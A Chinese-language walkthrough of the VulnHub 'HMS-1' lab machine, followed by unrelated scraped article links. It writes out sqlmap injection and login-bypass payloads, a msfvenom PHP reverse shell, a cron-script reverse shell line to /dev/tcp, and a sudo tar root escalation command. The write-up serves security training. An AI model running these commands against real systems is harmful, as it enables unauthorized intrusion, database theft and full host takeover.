『vulnhub系列』HMS?-1

下载地址:

https://www.vulnhub.com/entry/hms-1,728/

信息搜集:

使用nmap进行存活主机探测,发现开启了21端口(ftp)和22端口(ssh)

匿名登录ftp看看里面有什么东西,发现什么都没有

ftp 192.168.199.133
#使用anonymous登录,无需输入密码

进行全面扫描,发现开启了7080端口

nmap 192.168.199.133 -p 1-65535

访问7080端口的服务发现存在一个登录页面

使用dirsearch进行目录扫描

dirsearch -u "http://192.168.199.133:7080/"

在登录页面查看是否存在sql注入,发现确实存在,一个报错注入一个盲注

sqlmsqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login="

查看数据库

sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" --dbs

查看数据库中的表

sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' --tables

查看admin表中的字段,发现邮箱为 ndbhalerao91@gmail.com ,但是我们发现密码并不是明文

sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' -T 'admin' --dump

漏洞利用:

我们之前发现,是存在报错注入的并且看payload是通过单引号闭合的

 Payload: user=admin&email=admin@123' OR (SELECT 9709 FROM(SELECT COUNT(*),CONCAT(0x7170707671,(SELECT (ELT(9709=9709,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nnPx&password=asd&btn_login=

我们使用万能密码发现带有前端验证

我们使用burp抓包,使用Repeater确认一下,发现Login Successfully

user=admin&email=ndbhalerao91%40gmail.com' or 1=1 #&password=asd&btn_login=

我们放包,登录成功

找了半天,没有发现什么地方可疑,我们再使用另一个工具扫描一下目录,因为并没有登录,所以这些302的跳转页面,其实也是存在的

gobuster dir -u "http://192.168.199.133:7080/" -w /usr/share/wordlists/dirb/big.txt -x .php

我们发现了setting页面,存在文件上传页面。上传使用msfvenom 生成的反弹shell

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.129 lport=4444 -o re_shell.php

然后发现上面出现了一串图片

新标签页访问,发现新的目录/uploadImage

最后在/uploadImage/Logo/ 中发现我们的re_shell.php

此时在我们的攻击机开启监听

msfconsole
use exploit/multi/handler
set lhost 192.168.199.133
set payload php/meterpreter/reverse_tcp
run

反弹成功

提升权限:

查看具有SUID权限的命令,发现/usr/bin/bash我们可以借此切换用户

find / -perm -u=s -type f 2>/dev/null

使用命令,成功切换为eren 用户

/usr/bin/bash -p

但是使用命令sudo -l发现还是要输入密码,因此此时我们的eren用户的权限并不完整

我们查看计划任务

cat /etc/crontab

发现一条计划任务*/5 * * * * eren /home/eren/backup.sh

关于计划任务:
* * * * *
分 时 日 月 周
而对于这条命令意思就是每五分钟执行一次
*/5 * * * * eren /home/eren//backup.sh

可以看到这个文件正好早eren的家目录下。那么我们刚刚切换为eren用户的操作就可以用到了,使用eren权限我们将反弹shell写入/backup.sh

 echo "bash -i >& /dev/tcp/192.168.199.129/7777 0>&1" >> /home/eren/backup.sh

之后在攻击机使用nc等待

nc -lvp 7777

连接成功,获得完整的eren用户权限

使用命令sudo -l 查看用户可以在机器上运行的命令,发现tar命令可以以root权限执行

现在我们使用tar的sudo提权

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
  • -cf /dev/null /dev/null 将/dev/null 打包为 /dev/null
  • -c 打包
  • -f 打包为f后面的名字
  • --checkpoint=1 每打包一个文件就到达一个检查点
  • --checkpoint-action=exec=/bin/sh 到达检查点后执行的命令

获得root权限

成果:

/home/nivek/local.txt

3bbf8c168408f1d5ff9dfd91fc00d0c1

/root/root.txt

299c10117c1940f21b70a391ca125c5d

『vulnhub系列』HMS-1的更多相关文章

  1. 『GreenPlum系列』GreenPlum 4节点集群安装(图文教程)

      目标架构如上图   一.硬件评估 cpu主频,核数推荐CPU核数与磁盘数的比例在12:12以上Instance上执行时只能利用一个CPU核资源进行计算,推荐高主频 内存容量 网络带宽重分布操作 R ...

  2. Istio 运维实战系列(2):让人头大的『无头服务』-上

    本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 什么是『无头服 ...

  3. Istio 运维实战系列(3):让人头大的『无头服务』-下

    本系列文章将介绍用户从 Spring Cloud,Dubbo 等传统微服务框架迁移到 Istio 服务网格时的一些经验,以及在使用 Istio 过程中可能遇到的一些常见问题的解决方法. 失败的 Eur ...

  4. 『高性能模型』HetConv: HeterogeneousKernel-BasedConvolutionsforDeepCNNs

    论文地址:HetConv 一.现有网络加速技术 1.卷积加速技术 作者对已有的新型卷积划分如下:标准卷积.Depthwise 卷积.Pointwise 卷积.群卷积(相关介绍见『高性能模型』深度可分离 ...

  5. 『TensorFlow Internals』笔记_源码结构

    零.资料集合 知乎专栏:Bob学步 知乎提问:如何高效的学习 TensorFlow 代码?. 大佬刘光聪(Github,简书) 开源书:TensorFlow Internals,强烈推荐(本博客参考书 ...

  6. 『深度应用』NLP机器翻译深度学习实战课程·壹(RNN base)

    深度学习用的有一年多了,最近开始NLP自然处理方面的研发.刚好趁着这个机会写一系列NLP机器翻译深度学习实战课程. 本系列课程将从原理讲解与数据处理深入到如何动手实践与应用部署,将包括以下内容:(更新 ...

  7. 关于『进击的Markdown』:第一弹

    关于『进击的Markdown』:第一弹 建议缩放90%食用 比起隐蔽物下的狙击手,Markdown更像冲锋陷阵的阵头兵 简单.粗暴.直接.而且好上手 各位晚上好! 早饭吃了吗您 我 今 天 没 吃 M ...

  8. 关于『进击的Markdown』:第五弹

    关于『进击的Markdown』:第五弹 建议缩放90%食用 路漫漫其修远兮,吾将上下而求索.  我们要接受Mermaid的考验了呢  Markdown 语法真香(一如既往地安利) ( 进击吧!Mark ...

  9. 关于『进击的Markdown』:第四弹

    关于『进击的Markdown』:第四弹 建议缩放90%食用 美人鱼(Mermaid)悄悄的来,又悄悄的走,挥一挥匕首,不留一个活口 又是漫漫画图路... 女士们先生们,大家好!  我们要接受Markd ...

  10. 关于『进击的Markdown』:第三弹

    关于『进击的Markdown』:第三弹 建议缩放90%食用 我与神明画押,赌这弹markdown又双叒叕拖稿了 %%%Markdown!我的CSDN编辑器崩了呜呜呜 各路英雄豪杰,大家好!  我们要开 ...

随机推荐

  1. 集群监管-USDP(智能大数据平台)

    UCloud Smart Data Platform(简称 USDP),是 UCloud 推出的智能化.轻量级.适用于私有化部署至客户本地的大数据基础服务平台,通过自研的 USDP Manager 管 ...

  2. pde复习笔记 第一章 波动方程 第三节 分离变量法

    教材 谷超豪<数学物理方程>第四版,虽然我们老师用的第三版,但是除了页码对不上,习题多了一点,也似乎没有多少区别. 打算开个新栏专门总结一下pde的各种计算问题,在图书馆算的手麻了,但是习 ...

  3. golang计时器

    timer 计时器 用于在指定的Duration类型时间后调用函数或计算表达式. 如果只是想指定时间之后执行,使用time.Sleep() 使用NewTimer(),可以返回的Timer类型在计时器到 ...

  4. uniapp中正确使用echart

    uniapp中不能直接使用百度echart,要么就只能嵌入html,然后在html中进入echart进行使用,这样非常不方便, 下面介绍这个插件,对百度echart进行局部小改造,使他能在uniapp ...

  5. 4G EPS 中的小区搜索

    目录 文章目录 目录 前文列表 小区搜索(Cell Search)流程 PSS(主同步信号)与 SSS(辅同步信号) DL-RS(下行参考信号) PBCH(物理广播信道) PDSCH(物理下行共享信道 ...

  6. PageOffice6 实现 word 全文检索

    在文档服务器中存储有成千上万个文档的情况下,用户想要找到并打开包含特定关键字的文档,无疑是一项艰巨的任务.如何高效地管理和检索大量的Word文档呢? 在现有的技术解决方案中,许多方法都依赖于服务器端的 ...

  7. PageOffice在线打开office文件通过js调用vba可实现的功能

    pageoffice封装的js接口有限,某些比较复杂的设置用到的客户不多,所以没有提供直接的js方法,但是pageoffice提供了Document属性和RunMacro方法,可以调vba或直接运行宏 ...

  8. Spring Security 初学

    Spring Security 初学 声明:本篇文章无源码解析,属于初学范围,本文采用SpringBoot+thymeleaf的项目. 实现 SpringSecurity 分三步走 继承 WebSec ...

  9. WPF开发快速入门【3】WPF的基本特性(附加属性)

    概述 本文描述WPF的附加属性.对于使用MVVM框架的项目,附加属性是非常重要的一个特性. 在MVVM框架下,ViewModel的代码通过控件的依赖属性来控制控件的,例如: //ViewModel p ...

  10. C#命令行参数解析库System.CommandLine介绍

    命令行参数 平常在日常的开发过程中,会经常用到命令行工具.如cmd下的各种命令. 以下为sc命令执行后的截图,可以看到,由于没有输入任何附带参数,所以程序并未执行任何操作,只是输出了描述和用法. 系统 ...